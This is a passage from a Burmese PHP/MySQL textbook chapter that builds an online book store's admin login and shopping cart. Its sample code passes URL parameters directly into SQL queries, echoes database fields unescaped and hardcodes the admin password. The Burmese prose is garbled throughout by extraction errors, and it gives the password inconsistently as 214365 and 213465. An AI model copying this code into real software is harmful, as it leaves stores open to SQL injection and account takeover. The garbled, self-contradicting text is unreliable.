လပိစ်ာ  ရိက်ုြိနစရောမလိုိ တာပ့ဲ  Menu  ကြိနတစ်ဆင့်  အပပန်အလနှသွ်ားနိုငမ်ာှ  ပဖေစ်ပါတယ်။  Menu  အတက်ွြ
HTML ကြိတာ ့အခလုို ိရေးသားရေမာှပါ။
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<ul class="menu">
  <li><a href="book-list.php">Manage Books</a></li>
  <li><a href="cat-list.php">Manage Categories</a></li>
  <li><a href="orders.php">Manage Orders</a></li>
  <li><a href="logout.php">Logout</a></li>
</ul>

သက်ြဆိငုရ်ော  Script  ရေဲ့  HTML  Structure  ထဲကြ  <h1> Element  ိအာက်ြမာှ  ကြပထ်ည့်ိ ပးပါ။  ပပးီတဲ့အခါ
style.css ထမဲာှ Menu အတက်ွြ CSS ကုိြ အခလုိုပဖေည့်စွက်ြိပးလိုက်ြပါ။

ul.menu {
  list-style: none;
  margin: 0;
  padding: 0;
  overflow: hidden;
  background: #16A085;
}

ul.menu li {
  float: left;
  border-right: 1px solid #1ABC9C;
}

ul.menu a {
  display: block;
  padding: 10px 20px;
  text-decoration: none;
  color: #fff;
}

ul.menu a:hover {
  background: #1ABC9C;
}

ဒလီိုပဖေည့်စွက်ြိပးလိုက်ြတဲ့  Script  တိုငး်မာှ  book-list.php,  cat-list.php,  orders.php နဲ့
logout.php တို့ကုိြ သွားနိုငတ်ဲ့ Menu ကုိြယ်စီပါဝငသွ်ားမာှပဖေစ်ပါတယ။် 

ကြျွန်ိ တာတ်ို့  လက်ြရေှိတည်ိ ဆာက်ြိနတဲ့  Online  Book  Store  မာှ  အပိုငး်နစ်ှပိုငး်ပါဝငမ်ာှပဖေစ်တယ်လိုိ့ ပပာခဲ့ပါ
တယ်။ Shopping Cart Interface ကုိြ စာအုပဝ်ယ်ယူလိုသူမညသူ်မဆုိ အသံုးပပုနိုင်ိ ပမယ့် Admin Interface ကုိြ
ိတာ့  ဝင်ိ ရောက်ြစီမံ  ခငွ့်ရေှိသူမသှာ  ဝငခ်ငွ့်ိ ပးရေမာှပဖေစ်ပါတယ်။  ဒါိအကြာင့်  Password  နဲ့ကြာကွြယထ်ားလိုပါတယ်။
confs Folder ထဲကြ auth.php မာှ ိပးထားတဲ့ Code ိတကုိွြ ကူြးယူထည့် သွငး်ိပးပါ။
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<?php
  session_start();
  if(!isset($_SESSION['auth'])) {
    header("location: index.php");
    exit();
  }
?>

ပပးီခဲ့တဲ့အခနး်မာှ  နမနူာစမး်သပခ်ဲ့သလို  User  ဟာ  Login  ဝငထ်ားပခငး်ရေှိမရေှိစစ်ိဆးတဲ့လပု်ိ ဆာငခ်ျက်ြကုိြ  ထည့်
သွငး်ိပးလိုက်ြပခင်းပဖေစ်ပါတယ်။  Login  မဝငထ်ားလို့  auth Session  ရေှိမိနရေင်  ကြျနအ်လပု်ိ တကုိွြ  ဆက်ြလက်ြ
ိဆာငရ်ေက်ွြခငွ့် မိပးပဲ  index.php ကုိြသာ Redirect လပု်ိ ပးသွားမာှပဖေစ်ပါတယ်။ ဒလီိုစစ်ိဆးိရေးသားထားတဲ့
auth.php ကုိြ  book-list.php, cat-list.php, book-new.php, cat-new.php စသပဖေင့်
ကြျွန်ိ တာတ်ိုိ့ ရေးသား ခဲ့ပပးီပဖေစတ်ဲ့  admin Folder ထဲကြ Script တိုငး်ရေဲ့အိပါ်ဆံုးမာှအခလုို Include လပု်ိ ပးပါ။

<?php include("confs/auth.php") ?>

Session ိအကြပငာတဲ့ကိြစ္စကုိြ  Content ိတမွိရေးသားမီ ိဆာငရ်ေက်ွြဖေိုလ့ိုအပလ်ို့ အိပါ်ဆံုးမာှ Include လုပ်ိ ပးဖေိုလ့ို
ပါ တယ်။ ဒလီိုထည့်သွငး်ိပးလိုက်ြရေင်  Login မဝငထ်ားသူတစ်ိယာက်ြကြ ဝငအ်ကြည့်ဖေို့ကကိြုးစားတိုင်း  index.php
ကုိြပဲ  Redirect  လုပ်ိ ပးိနမာှပဖေစ်ပါတယ်။  index.php မာှိတာ့  Login  ဝငန်ိုငတ်ဲ့  Form  တစ်ခုိ ပးထားချငပ်ါ
တယ်။ ဒါိအကြာင့်  HTML  အပပည့်အစံုထည့်သွငး်  ိရေးသားိပးပါ။  ပပးီိတာမ့ာှ  <body> အတငွး်မာှ  ိပးထားတဲ့
Login Form ကုိြ ကူြးယူိရေးသားိပးပါ။

<h1>Login to Book Store Administration</h1>
<form action="login.php" method="post">
  <label for="name">Name</label>
  <input type="text" id="name" name="name">

  <label for="password">Password</label>
  <input type="password" id="password" name="password">

  <br><br>
  <input type="submit" value="Admin Login">
</form>

Login  Form  ိလး  သပသ်ပရ်ေပရ်ေပပ်ဖေစ်သွားိစဖေိုက့ြျွန်ိ တာတ်ို့  ိရေးသားခဲ့ပပီးပဖေစ်တဲ့  css Folder  ထဲကြ
style.css ကုိြလညး် <link> Element နဲ့ ချတိဆ်က်ြထည့်သွငး်ိပးသင့ပ်ါတယ်။ အခုဆုိရေင်  admin Folder
ထကဲြဘယ် Script ကုိြပဝဲငဝ်င် index.php ကုိြပဲ ိရောက်ြလာပပးီ Login Form ကုိြ ိတွ့ရေမာှပဖေစ်ပါတယ်။  Login
Form ရေဲ့  action မာှ login.php လ့ုိိပးထားတဲ့အတက်ွြ login.php မာှ ထည့်သွငး်ိပးလာတဲ့ Username
နဲ့ Password မနှမ်မနှကုိ်ြ အခလုို စစ်ိဆးိရေးသားိပးပါ။
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<?php
  session_start();
  $name = $_POST['name'];
  $password = $_POST['password'];

  if($name == "admin" and $password == "214365") {
    $_SESSION['auth'] = true;
    header("location: book-list.php");
  } else {
    header("location: index.php");
  }
?>

Username ဟာ admin ပဖေစ်ပပးီ Password ကြ 214365 ဆုိတဲ့ Information ကုိြ မနှက်ြန်ိ အာင်ိ ပးနိုငသူ်ဆုိရေင်
Admin Interface  ကုိြ ဝင်ိ ရောက်ြခငွ့်ရေှိအပဖေစ်လက်ြခပံပးီ  auth Session  တနဖ်ေိုးတစ်ခု သတမ်တှ်ိ ပးသွားမာှပဖေစ်ပါ
တယ်။ ခခုျနိမ်ာှ  http://localhost/store/admin/ လ့ုိ  Browser URL Bar  မာှထည့်သွငး်အကြည့်မယ်ဆုိရေင်  Login
Form တစ်ခ ုကုိြိတွ့ရေမာှပဖေစ်ပါ တယ်။ Username အိနနဲ့ admin Password အိနနဲ့ 213465 ကုိြ ထည့်သွငး်ပပးီ
Login  ဝငလ်ိုက်ြမယ်ဆုိရေင် လိုအပတ်ဲ့  Login  လုပင်နး်ိဆာငရ်ေက်ွြပပးီ  book-list.php ကုိြ  Redirect  လုပ်ိ ပး
သွားမာှပဖေစ်ပါ တယ်။ Logout လုပလ်ိုရေငလ်ပုန်ိုင်ိ စဖေို့အတက်ွြ logout.php မာှလညး် အခလုိုထည့်သွငး်ိပးပါဦး။

<?php
  session_start();
  unset($_SESSION['auth']);
  header("location: index.php");
?>

အခုဆုိရေင်  စာအုပ်ိ တကုိွြလညး် စီမနံိုငပ်ါပပ။ီ  စာအုပ်အမျို းအစားိတကုိွြလညး်စီမနံိုငပ်ါပပ။ီ  စီမခံငွ့်ရေှိသူမသှာ  စီမနံိုင်
ိအာငလ်ညး် ိဆာငရ်ေက်ွြပပးီပါပပ။ီ Admin Interface ပပည့်စံုဖေို့အတက်ွြ Order စာရေငး်များစီမပံခင်းလပုင်နး်သာ ကြျန်
ရေှိပါိတာ့ တယ်။ Order စီမပံခငး်ကြိုိ တာ့ ိနာက်ြမထှည့်ပါိတာမ့ယ်။ ိလာိလာဆယ် Shopping Cart Interface
အတက်ွြကုိြ အရေင်ိ ရေးသားလိုပါတယ်။ 

http://localhost/store/admin/
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7.6 - Online Book Store - Shopping Cart Interface
Shopping Cart Interface တည်ိ ဆာက်ြဖေို့အတက်ွြ လုိအပတ်ဲ့ File နဲ့ Folder ိတကုိွြ အရေငပ်ဖေည့်စွက်ြိပးပါ။

store/
|-- admin/
|   |-- confs/
|   |   |-- config.php
|   |   |-- auth.php
|   |-- covers/
|   |-- css/
|   |   |-- style.css
|   |-- cat-list.php
|   |-- cat-new.php
|   |-- cat-add.php
|   |-- cat-edit.php
|   |-- cat-update.php
|   |-- cat-del.php
|   |-- index.php
|   |-- book-list.php
|   |-- book-new.php
|   |-- book-add.php
|   |-- book-edit.php
|   |-- book-update.php
|   |-- book-del.php
|   |-- login.php
|   |-- login.php
|   |-- orders.php
|   |-- order-status.php
|-- css/ *
|   |-- style.css *
|-- book-detail.php *
|-- add-to-cart.php *
|-- view-cart.php *
|-- clear-cart.php *
|-- submit-order.php *
|-- index.php

ပဖေည့်စွက်ြရေမယ့် File နဲ့  Folder ိတကွြ store Folder ထမဲာှ ပဖေည့်စွက်ြသွားပခငး်ပဖေစ်ပါတယ်။ Style ကုိြ  Admin
Interface နဲ့မတလူိုပဲ သီးပခားဖေနတ်းီချငလ်ို့  css Folder တစ်ခထုပမ်တံည်ိ ဆာက်ြပါတယ်။ ပပးီိတာမ့ှ အ့ဲဒီ  css
Folder  ထဲမာှ  style.css File  တစ်ခု ထည့်သွင်းိပးထားပါတယ်။  store Folder  အတငွး်မာှပဲ  Shopping
Cart လပု်ိ ဆာငခ်ျက်ြ အတက်ွြလိုအပတ်ဲ့ အပခား File ိတကုိွြလညး် ပဖေည့်စွက်ြတည်ိ ဆာက်ြထားပါတယ်။

စာအုပဝ်ယ်ယူလိုသူကြ စာအုပစ်ာရေငး်ကြို အကြည့်ရှုနိုငတ်ဲ့ လပု်ိ ဆာငခ်ျက်ြကုိြ  index.php မာှ ိရေးသားထားမာှ ပဖေစ်
ပါ တယ်။  index.php ကုိြိတာ့ ဒနီမနူာ  Project  စဖေို့ပပငက်ြတညး်တည်ိ ဆာက်ြထားခဲ့ပပးီပဖေစမ်ာှပါ။ မရေှိိ သးရေင်
ိတာ့  index.php ကုိြပါ  store Folder  ထမဲာှ ထပမ်တံည်ိ ဆာက်ြိပးပါ။  ပပးီရေငး်ိပးထားတဲ့  Code  ိတကုိွြ
ကူြးယူ ထည့်သွင်းိပးပါ။ လိုအပတ်ဲ့ HTML Structure ကြအစ အပပည့်အစုံိ ရေးပပိပးထားပါတယ်။
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<?php
  session_start();
  include("admin/confs/config.php");

  $cart = 0;
  if(isset($_SESSION['cart'])) {
    foreach($_SESSION['cart'] as $qty) {
      $cart += $qty;
    }
  }

  if(isset($_GET['cat'])) {
    $cat_id = $_GET['cat'];
    $books = mysqli_query($conn, "SELECT * FROM books WHERE category_id = 
$cat_id");
  } else {
    $books = mysqli_query($conn, "SELECT * FROM books");
  }

  $cats = mysqli_query($conn, "SELECT * FROM categories");
?>

<!doctype html>
<html>
<head>
  <title>Book Store</title>
  <link rel="stylesheet" href="css/style.css">
</head>
<body>
  <h1>Book Store</h1>

  <div class="info">
    <a href="view-cart.php">
      (<?php echo $cart ?>) books in your cart
    </a>
  </div>

  <div class="sidebar">
    <ul class="cats">
      <li>
        <b><a href="index.php">All Categories</a></b>
      </li>
      <?php while($row = mysqli_fetch_assoc($cats)): ?>
      <li>
        <a href="index.php?cat=<?php echo $row['id'] ?>">
          <?php echo $row['name'] ?>
        </a>
      </li>
      <?php endwhile; ?>
    </ul>
  </div>
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  <div class="main">
    <ul class="books">
      <?php while($row = mysqli_fetch_assoc($books)): ?>
      <li>
        <img src="admin/covers/<?php echo $row['cover'] ?>" height="150">
        <b>
          <a href="book-detail.php?id=<?php echo $row['id'] ?>">
            <?php echo $row['title'] ?>
          </a>
        </b>

        <i>$<?php echo $row['price'] ?></i>
        
        <a href="add-to-cart.php?id=<?php echo $row['id'] ?>"
             class="add-to-cart">Add to Cart</a>
      </li>
      <?php endwhile; ?>
    </ul>
  </div>

  <div class="footer">
    &copy; <?php echo date("Y") ?>. All right reserved.
  </div>
</body>
</html>

Supermarket ိတမွာှိဈေးဝယ်တဲ့အခါ ပစ္စညး်တစ်ခယူု၊ တစ်ခါိငရွေငှး်လပုစ်ရော မလိုပါဘးူ။ လုိချငတ်ဲ့ပစ္စညး်ိတကုိွြ
ိရေးွချယ်ပပးီ ပခငး်ိတာငး် (သုိမ့ဟတု်) လှညး်ကြိလးနဲ့စထုည့်ထားပပးီ ပပည့်စံုပပီဆုိမှ ိကြာငတ်ာမာှိငရွေငှး်ရေတာပါ။ ဒီ
လို ပါပ၊ဲ ကြျွန်ိ တာတ်ို့  Book Store မာှလညး် လိုချငတ်ဲ့စာအုပ်ိ တကုိွြ ိရေးွချယ်ပပးီ ပပည့်စံုပပဆုိီိတာမ့ှ  Order လပု်
လို့ရေိစမယ့်လပု်ိ ဆာငခ်ျက်ြ  ထည့်သွငး်မာှပဖေစ်ပါတယ်။  ဒလီပု်ိ ဆာငခ်ျက်ြကုိြပဲ  Shopping  Cart  လ့ုိိခါ်တာပါ။
ဝယ်ယူဖေိုိ့ ရေးွချယ်  တဲ့စာအုပ်ိ တကုိွြ  Session  ထမဲာှ  ယာယီ သိမ်းဆညး်ထားဖေို့လိုပါတယ်။ ဒါိအကြာင့်ပထမဦးဆံုး
session_start() Function  ကုိြိခါ်ယူထားပခငး်  ပဖေစ်ပါတယ်။  Database  ချတိဆ်က်ြမှု တ ွ အတက်ွြ
config.php ကုိြလညး် Include လပု်ိ ပးထားပါတယ်။ 

ဆက်ြလက်ြပပးီ  cart Session ထမဲာှရေှိိ နတဲ့ ဝယ်ယူဖေို့ ိရေးွချယ်ထားတဲ့ စာအုပအ်ိရေအတက်ွြကုိြ foreach Loop
နဲ့ Loop လပုပ်ပးီ ိရေတက်ွြကြာ $cart Variable ထကုိဲြ ထည့်သွင်းထားပါတယ။်

index.php မာှ ရေှိသမျှစာအုပ်ိ တအွားလုံးကုိြိဖောပ်ပမာှပဖေစ်သလို့ သက်ြဆုိငရ်ော  Category အလိုက်ြအကြည့်ရှုလိုတယ်
ဆုိ ရေငလ်ညး် ိဖောပ်ပိပးမာှပဖေစ်ပါတယ်။ ဥပမာ - URL Query String အိနနဲ့ cat=1 လို့ ပါဝငလ်ာရေင် Category
ID 1  နဲ့  တဲွဖေက်ြသိမ်းဆညး်ထားတဲ့  စာအုပ်ိ တကုိွြ  ိရေးွထတု်  ိဖောပ်ပိပးချငတ်ာပါ။  ဒါိအကြာင့်  ိနာက်ြတစ်ဆင့်မာှ
index.php ကုိြလာတဲ့ Request မာှ cat အမညန်ဲ့ Query String ပါဝငလ်ာ သလားစစ်ိဆးထားပါတယ်။ အ့ဲဒီ
အိပခအိနိပါ်မူ တညပ်ပးီ SELECT Query ကုိြလညး် နစ်ှမျို းိရေးထားပါတယ်။ Query String မာှ cat ပါဝငလ်ာ
ရေင် ပါဝငလ်ာတဲ့ Value နဲ့ စစ်ထတုရ်ေယူထားတဲ့  Query ကုိြအသံုးပပုမာှပဖေစ်ပပးီ မပါဝငလ်ာရေင်ိ တာ့ ရေှိသမျှ စာအုပ်
အားလုံးကုိြရေယူိဖောပ်ပမာှ ပဖေစ်ပါတယ်။
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Category Menu  တစ်ခဖုေနတ်းီိပးနိုငဖ်ေို့အတက်ွြ  categories Table  ထဲကြ ရေှိသမျှစာအုပ် အမျို းအစားိတကုိွြ
လညး် ိနာက်ြထပ ်SELECT Query တစ်ခနုဲ့သီးပခားရေယူထားပါိသးတယ်။

ဆက်ြလက်ြပပးီ  <body> Element  အတငွး်မာှိရေးသားထားတာိတကုိွြ  ိလ့လာအကြည့်ရေင၊်  Class  မာှ  info လို့
သတမ်တှထ်ားတဲ့ <div> အတငွး်မာှ လက်ြရေှိဝယ်ယူဖေိုိ့ ရေးွချယ်ထားတဲ့ စာအုပအ်ိရေအတက်ွြကုိြ ိဖောပ်ပိပးတဲ့ အိန
နဲ့  $cart Variable ကုိြရိုက်ြထတု် ထားပါတယ်။ Class ကုိြ sidebar လို့သတမ်တှထ်ားတဲ့ <div> ထမဲာှိတာ့
ရေယူ ထားတဲ့ Category ိတကုိွြ Link အပဖေစ်တနး်စီ ရုိက်ြထတုထ်ားပါတယ။် Link ိတကွြ index.php (လက်ြရေှိ
Document)  ကုိြပပဲပနည်ွှနး်ထားတာကုိြ သတပိပုပါ။ ဒါိပမယ့် ိနာက်ြကြိနသက်ြဆုိငရ်ော  Category ID  ကုိြ  URL
Query String အိနနဲ့တွဲဖေက်ြ ိပးထားပါတယ်။ ဒနီညး်နဲ့ Category Menu တစ်ခ ုရေရေှိိ စပါတယ်။

Class  ကုိြ  main လ့ုိသတမ်တှထ်ားတဲ့  <div> ထဲမာှ  ရေယူထားတဲ့စာအုပစ်ာရေငး်ကိြု  ရုိက်ြထတု်ိ ဖောပ်ပိပးပါတယ်။
အချက်ြ အလက်ြအားလုံးမိဖောပ်ပပါဘးူ။  Title  နဲ့  ိဈေးနှုနး်ပဲိ ဖောပ်ပထားိစပါတယ်။ စာအုပရ်ေဲ့  Title  ကုိြ နှိပလ်ို့ရေတဲ့
Link ပဖေစ်ိအာင် <a> Element နဲ့ ရုိက်ြထတုထ်ားပါတယ်။ သက်ြဆုိငရ်ောစာအုပန်ဲ့အတူ Add to Cart ဆုိတဲ့ Link
တစ်ခစီုလဲ  တွဲဖေက်ြိပးထားပါတယ်။  စာအုပကုိ်ြ  နစ်ှသက်ြလို့ဝယ်ယူလိုတဲ့အခါ Add  to  Cart ကုိြ  နှိပ်ိ ပးပခငး်ပဖေင့်
ဝယ်ယူလိုိ အကြာငး် မတှသ်ားရေမာှပါ။ Add to Cart Link ကြ add-to-cart.php ကုိြညွှနး်ထားပါတယ်။ add-
to-cart.php ထမဲာှ ိရေးွချယ်လိုက်ြတဲ့ စာအုပကုိ်ြ cart Session ထဲကုိြ ထည့်သွငး်မတှသ်ားိပးတဲ့ လပု်ိ ဆာင်
ချက်ြကုိြိရေးသားမာှပါ။

လိုအပတ်ဲ့  Code  ိတ ွဆက်ြလက်ြမိရေးသားမီ  သပသ်ပရ်ေပရ်ေပပ်ဖေစ်သွားိစဖေို့  CSS Style  တစ်ချို ့ထည့်သွငး်  ချငပ်ါ
တယ်။  လက်ြရေှိိ လလ့ာိနတဲ့နမနူာ  Code  မာှ  <link> Element  နဲ့  css Folder  ထကဲြ  style.css ကုိြ
ချတိဆ်က်ြထားပပးီ  ပဖေစ်ပါတယ်။  ဒါိအကြာင့်  style.css မာှ  ိပးထားတဲ့  CSS  ိတကုိွြကူြးယူိရေးသားိပးပါ။
index.php အတက်ွြတင ်သာမကြပ ဲအပခားလိုအပတ်ဲ့ Style ိတကုိွြ တစ်ခါတညး် ကကိြုတငသ်တမ်တှထ်ားပါတယ်။

html { 
  background: #34495E; 
} 

body { 
  font-family: Arial, Helvetica, sans-serif; 
  width: 900px; 
  background: #e5e5e5; 
  border: 4px solid #3498DB; 
  margin: 20px auto; 
} 

h1 { 
  padding: 10px; 
  font-size: 21px; 
  background: #3498DB; 
  margin: 0; 
  color: #fff; 
} 
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a { 
  color: #2980B9; 
  text-decoration: none; 
} 

a:hover { 
  color: #3498DB; 
} 

.info { 
  background: #2980B9; 
  padding: 8px; 
  text-align: right; 
} 

.info a { 
  color: #fff; 
  font-size: 14px; 
  text-decoration: none; 
  border-bottom: 1px dotted #fff; 
} 

.info a:hover { 
  border-bottom: 1px solid #fff; 
} 

.sidebar { 
  float: left; 
  width: 240px; 
} 

.cats { 
  list-style: none; 
  padding: 0; 
} 

.cats li a { 
  display: block; 
  font-size: 15px; 
  padding: 8px 15px; 
  border-bottom: 1px solid #ddd; 
} 

.cats li a:hover { 
  background: #efefef; 
} 

.main { 
  float: right; 
  width: 660px; 
  background: #fff; 
} 
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.books { 
  list-style: none; 
  margin: 15px; 
  padding: 0; 
  overflow: hidden; 
} 

.books li { 
  width: 190px; 
  text-align: center; 
  height: 240px; 
  float: left; 
  margin: 20px 10px; 
  font-size: 15px; 
} 

.books b { 
  display: block; 
  margin: 5px 0; 
  font-weight: normal; 
} 

.books i { 
  color: #E74C3C; 
} 

a.add-to-cart { 
  font-size: 13px; 
  display: block; 
  background: #1ABC9C; 
  color: #fff; 
  padding: 5px 0; 
  margin: 5px 30px; 
} 

a.del { 
  color: #D35400; 
} 

.footer { 
  clear: both; 
  background: #95A5A6; 
  color: #fff; 
  font-size: 13px; 
  padding: 8px; 
  text-align: center; 
  border-top: 1px solid #7F8C8D; 
} 

.detail { 
  padding: 20px; 
  background: #fff; 
} 
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.detail .back { 
  float: right; 
} 

.detail a.add-to-cart { 
  margin: 0; 
  width: 160px; 
  text-align: center; 
  padding: 10px 0; 
} 

table { 
  margin: 20px; 
  border-spacing: 1px; 
  background: #16A085; 
} 

td { 
  background: white; 
  border-collapse: collapse; 
  padding: 8px; 
} 

th { 
  color: white; 
  padding: 8px; 
} 

.order-form { 
  margin: 20px; 
} 

.order-form h2 { 
  margin: 40px 0 10px 0; 
  padding: 0 0 5px 0; 
  border-bottom: 1px solid #ddd; 
  font-size: 18px; 
  color: #C0392B; 
} 

form label { 
  display: block; 
  margin-top: 10px; 
  color: #555; 
} 

input[type=text], 
input[type=password], 
textarea, 
select { 
  font-family: Arial, Helvetica, sans-serif; 
  border: 1px solid #ddd; 
  padding: 6px; 
  width: 300px; 
  background: #fff; 
} 
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textarea { 
  height: 100px; 
} 

input[type=submit] { 
  padding: 10px 24px; 
  margin-right: 10px; 
} 

.msg { 
  background: #1ABC9C; 
  color: #fff; 
  text-align: center; 
  padding: 10px; 
  margin: 50px 20px; 
} 

.msg a { 
  color: #eee; 
  border-bottom: 1px dotted #fff; 
} 

label.error { 
color: #900; 
font-size: 13px; 
font-style: italic; 
margin-top: -1px; 

} 

.search { 
margin-top: 20px; 

} 

.search input[type=text] { 
width: 180px; 
margin-left: 8px; 

} 

.search input[type=submit] { 
    width: 32px; 
    height: 32px; 
    cursor: pointer; 
    background: transparent url(../images/search.png) no-repeat center center; 
    border: 0 none; 
    padding: 0; 
    margin: 0 0 0 -5px; 
}

အခုိ န Browser URL Bar မာှ  http://localhost/store/ လ့ုိရုိက်ြထည့်အကြည့်မယ်ဆိုရေင်  ပုံ  (၇-တ) မာှိဖောပ်ပထား
သလို ရေလဒကုိ်ြ ရေရေှိိ နမာှပဖေစ်ပါတယ်။

http://localhost/store/
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ပုံ (၇-တ) Online Book Store - Shopping Cart Interface

Category  Menu  ကြိန သက်ြဆိုငရ်ော  Category  နှိပအ်ကြည့်ရေင်  အ့ဲဒီ  Category  နဲ့သကြဆုိ်ငတ်ဲ့  စာအုပ်ိ တကုိွြပဲ
ိဖောပ်ပိပးမာှ ပဖေစ်ပါတယ်။ ဆက်ြလက်ြပပးီ  book-detail.php  မာှ စာအုပရ်ေဲ့အချက်ြအလက်ြအားလုံးကုိြ ိဖောပ်ပ
ိပးတဲ့  လပု်ိ ဆာငခ်ျက်ြကုိြ  ိရေးသားပါမယ်။  HTML  အပပည့်အစံုကုိြ  ိရေးသားထည့်သွငး်ိပးပါ။  ပပးီရေင်  <body>
အတငွး်မာှိပးထားတဲ့ Code ကုိြ ိရေးသားိပးပါ။ 

<h1>Book Detail</h1>

<?php
  include("admin/confs/config.php");
  $id = $_GET['id'];
  $books = mysqli_query($conn, "SELECT * FROM books WHERE id = $id");
  $row = mysqli_fetch_assoc($books);
?>

<div class="detail">
  <a href="index.php" class="back">&laquo; Go Back</a>

  <img src="admin/covers/<?php echo $row['cover'] ?>">

  <h2><?php echo $row['title'] ?></h2>
  <i>by <?php echo $row['author'] ?></i>,
  <b>$<?php echo $row['price'] ?></b>

  <p><?php echo $row['summary'] ?></p>
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  <a href="add-to-cart.php?id=<?php echo $id ?>" class="add-to-cart">
    Add to Cart
  </a>
</div>
<div class="footer">
  &copy; <?php echo date("Y") ?>. All right reserved.
</div>

Query String  နဲ့အတပူါဝငလ်ာတဲ့  id  ကုိြအသံုးပပုပပီး  သက်ြဆုိငရ်ောစာအုပရ်ေဲ့  အချက်ြအလက်ြများကုိြ  ရေယူိဖောပ်ပ
ထားပခငး်  ပဖေစ်ပါတယ်။  Add  to  Cart Link  လညး်တွဲဖေက်ြထည့်သွင်းိပးထားပါတယ်။  <link> Element  နဲ့
style.css ကုိြ  လညး်ချတိဆ်က်ြိပးပါ။  ဆက်ြလက်ြပပးီ  ဝယ်ယူဖေို့မတှသ်ားလိုက်ြတဲ့စာအုပ်ိ တကုိွြ  cart  Session
ထမဲာှသိမး်ဆညး်တဲ့ လုပ်ိ ဆာငခ်ျက်ြ ကုိြ add-to-cart.php  မာှိရေးသားပါမယ်။ ိပးထားတဲ့ Code ကုိြ ကူြးယူ
ထည့်သွငး်ိပးပါ။

<?php
  session_start();
  $id = $_GET['id'];
  $_SESSION['cart'][$id]++;

  header("location: index.php");
?>

ိလးိအကြာငး်တညး်ပါ။  URL Query String အိနနဲ့ပါဝငလ်ာတဲ့ စာအုပ်  id ကုိြရေယူပပးီ  cart  Session ထဲကုိြ
ထည့်သွငး်ိပးပခငး်ပဖေစပ်ါတယ်။ ထည့်သွင်းတဲ့အခါ  Array  အိနနဲ့ထည့်သွင်းထားပါတယ။် ဥပမာ  - Book ID ကြ
12  ဆုိအကြပါစို့။

█ $_SESSION['cart'][$id]++;

လိုိ့ ရေးသားထားတဲ့အတက်ွြ -

█ $_SESSION['cart'][12]++;

အိနနဲ့အလပုလ်ပုသွ်ားမာှပဖေစ်ပါတယ်။  cart Session ရေဲ့  Index 12 ကုိြ (၁) တိုးခိုငး်လိုက်ြပခငး်ပဖေစပ်ါတယ်။ မလူ
ကြ  Index 12  မာှတနဖ်ေိုးိတရွေှိိ နရေင်  (၁)  တိုးိပးသွားမာှပါ။  Index 12  ရေှိမိနရေင်ိ တာ့  PHP  ကြ  Index 12  ကုိြ
ချက်ြပခငး် တည်ိ ဆာက်ြိပးလိုက်ြပပီး (၁) ကုိြထည့်သွငး်ိပးသွားမာှပါ။ Book ID 12 ကုိြိနာက်ြတစ်ကကိြမထ်ပန်ှိပရ်ေင်
$_SESSION['cart'][12] မာှ  2  ဆုိတဲ့တနဖ်ေိုးရေှိ  သွားိစမာှပဖေစ်ပါတယ်။ ဒနီညး်နဲ့  ဘယ်စာအုပကုိ်ြ  ဘယ်နစ်ှ
အုပ် ဝယ်မလဆုိဲတဲ့ အချက်ြအလက်ြများကုိြ  cart Session ထဲမာှ သိမး် ဆညး်သွားပခင်းပဖေစ်ပါတယ်။

ိဆာငရ်ေက်ွြစရောများ ပပးီစီးတဲ့အခါ  index.php ကုိြ  ပပနသွ်ားခိုင်းထားပါတယ။် အခုိ န http://localhost/store/
ကုိြ သွားပပးီ စာအုပတ်စ်ချို ့ဝယ်ယဖူေိုိ့ ရေးွချယ်ပခင်းအားပဖေင့် စမး်သပန်ိုငပ်ါပပ။ီ Class info ိပးထားတဲ့ <div> ထမဲာှ
ဝယ်ယူဖေို့  ိရေးွချယ်ထားတဲ့  စာအုပ်  ဘယ်နစ်ှအုပရ်ေှိပပလီဲ  ဆုိတာကုိြ  ိဖောပ်ပိပးိနမာှပါ။  အ့ဲဒလီို  ိဖောပ်ပိပးိနတဲ့



Professional Web Developer - အခန်း (၇) PHP and MySQL 284

အချက်ြအလက်ြကြ  Link  တစ်ခပုဖေစ်လို့  နှိပလ်ို့ရေပါတယ်။ နှိပလ်ိုက်ြမယ်ဆိုရေင်  view-cart.php ကုိြသွားဖေို့  ညွှနး်
ထားပါတယ်။  view-cart.php ထဲမာှဝယ်ယူဖေိုိ့ ရေးွချယ်ထားတဲ့  စာအုပစ်ာရေငး်ကုိြ  ပပနလ်ညအ်ကြည့်ရှုနိုငတ်ဲ့
လပု်ိ ဆာငခ်ျက်ြကုိြ ိရေးသားိပးမာှ ပဖေစ်ပါတယ်။ ိပးထားတဲ့ Code ကုိြကူြးယူိရေးသား ိပးပါ။ HTML ိတကွြအစ
အပပည့်အစံုိရေးသားိဖောပ်ပ ိပးလိုက်ြပါ တယ်။

<?php
  session_start();
  if(!isset($_SESSION['cart'])) {
    header("location: index.php");
    exit();
  }

  include("admin/confs/config.php");
?>

<!doctype html>
<html>
<head>
  <title>View Cart</title>
  <link rel="stylesheet" href="css/style.css">
</head>
<body>
  <h1>View Cart</h1>
  <div class="sidebar">
    <ul class="cats">
      <li><a href="index.php">&laquo; Continue Shopping</a></li>
      <li><a href="clear-cart.php" class="del">&times; Clear Cart</a></li>
    </ul>
  </div>

  <div class="main">
    <table>
      <tr>
        <th>Book Title</th>
        <th>Quantity</th>
        <th>Unit Price</th>
        <th>Price</th>
      </tr>

      <?php
        $total = 0;
        foreach($_SESSION['cart'] as $id => $qty):
         $result = mysqli_query($conn, "SELECT title, price FROM books WHERE id=$id");
         $row = mysqli_fetch_assoc($result);
         $total += $row['price'] * $qty;
      ?>
      <tr>
        <td><?php echo $row['title'] ?></td>
        <td><?php echo $qty ?></td>
        <td>$<?php echo $row['price'] ?></td>
        <td>$<?php echo $row['price'] * $qty ?></td>
      </tr>
      <?php endforeach; ?>
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      <tr>
        <td colspan="3" align="right"><b>Total:</b></td>
        <td>$<?php echo $total; ?></td>
      </tr>
    </table>

    <div class="order-form">
      <h2>Order Now</h2>
      <form action="submit-order.php" method="post">
        <label for="name">Your Name</label>
        <input type="text" name="name" id="name">

        <label for="email">Email</label>
        <input type="text" name="email" id="email">

        <label for="phone">Phone</label>
        <input type="text" name="phone" id="phone">

        <label for="address">Address</label>
        <textarea name="address" id="address"></textarea>

        <br><br>
        <input type="submit" value="Submit Order">
        <a href="index.php">Continue Shopping</a>
      </form>
    </div>
  </div>

  <div class="footer">
    &copy; <?php echo date("Y") ?>. All right reserved.
  </div>
</body>
</html>

ပထမဦးဆံုးအိနနဲ့ cart Session ထမဲာှ ဘာမမှရေှိရေင် ကြျနတ်ာိတဆွက်ြမလပု်ိ တာပ့ဲ index.php ကုိြ ပပနသွ်ား
